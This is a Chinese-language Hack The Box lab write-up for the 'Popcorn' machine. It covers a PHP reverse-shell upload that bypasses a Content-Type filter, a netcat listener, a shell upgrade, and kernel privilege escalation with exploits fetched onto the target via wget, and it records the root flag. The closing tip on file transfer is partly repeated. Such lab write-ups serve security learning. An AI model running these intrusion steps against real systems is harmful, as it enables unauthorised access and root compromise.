Popcorn-10.10.10.6

Popcorn-10.10.10.6

DateTime:2019/09/16

信息收集

nmap 扫描到开放端口80、22
web服务器：apache
操作系统： Ubuntu

访问 10.10.10.6:80,

扫描网站目录，使用Dirbuster
选择 go faster,

选择字典 /usr/share/wordlist/dirbuster/directory-list-…

扫描后发现很多目录，挨着测试，发现/test.php和/torrent，其中/torrent可以上传文件

开始渗透

在上传了一个torrent文件后，会要求你上传一个screenshot，在此处我们可以上传一个php的反弹shell

由于文件格式限制，在上传时进行抓包，修改文件Content-Type为image/php

成功绕过

在本机上开启监听

nc -lvp 443

端口和shell里面设定的一致，其中shell里面还要设置本机虚拟ip


再次访问shell所在之处的screenshot,触发反弹shell

本机响应后，成功进入主机

whoami  #查看当前用户权限

lsb_release -a  #查看主机信息

uname -a   #Linux查看版本当前操作系统内核信息

searchsploit ubuntu 9.10  #查找利用脚本，在此处可用14339.sh

get user flag

** 在 /home/georges 里面找到user.txt,get第一个flag **

要找到root.txt 就需要提权，若直接下载使用14339.sh脚本则会报一些奇怪的错误，
需要将14339.sh 里面的代码复制到新建的sh中，命名为1.sh
在目标主机里，很多键和命令都不好使用
用盖总给的命令，使目标主机有交互式shell

$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ ctrl + z
$ stty raw -echo && fg
$ export TERM=screen

提权之前能比较容易的找到/tmp目录有执行的权限
所以

bash /tmp/1.sh

按理说 在此处我已经get root了，脚本没错_{脚本里的密码也多次确认，可就是get不到root}整了一天多，脑袋疼。。。。
那就假装已经 get root了吧
补充：解决脚本不能成功执行的问题 在复制脚本里的代码时，记得在代码加几个回车再加几个空格~师父解决的^_

get root!!

在师父的帮助下，换了一种思路。get root
我们开始用的提权脚本可能有点点未知的问题~~
换一个，使用 linux-exploit-suggester.sh提权建议脚本~

https://github.com/mzet-/linux-exploit-suggester/tree/95a05ccfc2aca6803021610aa06eab41a489f07d

download .zip
使用相同的方法把 该zip 传到目标机器上，在目标机器上运行linux-exploit-suggester.sh
该脚本给出了一大串提权建议

刚开始使用了dirtycow ，莫名的错误~
改用第一个 full-nelson

进入到利用脚本目录下搭建一个小型服务器~~和上面相同的方法，在目标主机上用 wget 获得该利用脚本

gcc 文件名.c -o 你需要执行文件名称
gcc 15704.c -o tst
./tst

执行成功，get root

root.flag

f122331023a9393319a0370129fd9b14

补充

想把本机文件传到目标主机上时，可使用python本机搭建成一个小型服务器，目标主机访问本机相应路径来获得文件
命令1
本机

python -m SimpleHTTPServer 8888

目标主机

wget ip:8888 /文件

命令2（更简短）
本机

python3 -m http.server 8888

目标主机

wget ip:8888/文件
ver 8888

目标主机

wget ip:8888 /文件

命令2（更简短）
本机

python3 -m http.server 8888

目标主机

wget ip:8888/文件